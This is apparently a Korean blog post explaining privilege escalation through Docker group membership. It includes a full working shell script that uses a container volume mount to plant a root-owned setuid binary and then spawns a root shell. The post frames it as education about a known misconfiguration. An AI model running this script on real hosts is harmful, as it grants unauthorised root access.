Docker 그룹 설정을 이용한 권한 상승

안수현·2023년 3월 15일
1
post-thumbnail

가능한 이유

도커의 취약점을 이용한 공격이 아닙니다. docker 그룹에 사용자를 추가해야 가능합니다.

일반적으로 도커를 사용할 때 docker 그룹에 사용자를 추가해서 sudo 없이 사용할 수 있도록 합니다. 하지만 docker 컨테이너를 volume으로 호스트에 공유 경로를 설정해 실행하고, uid/gid 설정 후 셸을 실행하는 프로그램에 root 권한으로 setuid를 설정한 후, 호스트에서 해당 프로그램을 실행하면 root 권한으로 권한 상승 공격을 수행하는 것이 가능합니다.

이 권한 상승 공격 기법을 테스트한 환경은 아래와 같습니다. 나머지 설정은 기본 설정입니다.

sudo apt install docker.io
sudo usermod -aG docker $USER

익스플로잇

이를 이용해 root 셸을 얻는 코드는 아래와 같습니다.
악의적 공격이 아닌 교육, 연구 등 정당한 목적으로만 사용되어야 합니다.
docker 그룹에 일반 사용자가 있을 때 권한 상승이 가능하다는 것은 이미 알려져 있습니다.

#!/bin/sh

rm -rf test
mkdir test
cd test

cat << EOF> test.c
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
  setuid(0);
  setgid(0);
  system(argv[1]);
}
EOF

gcc -s --static -o test test.c

docker pull alpine 2>/dev/null >/dev/null
docker run -it --rm -v $PWD:/test alpine \
ash -c "chown root /test/test; chmod 4777 /test/test"

cd ..
./test/test "/bin/sh -c 'rm -rf test; /bin/sh'"

참고자료

https://www.docker.com
https://www.youtube.com/watch?v=pRBj2dm4CDU

profile
초보 해커의 생존기

0개의 댓글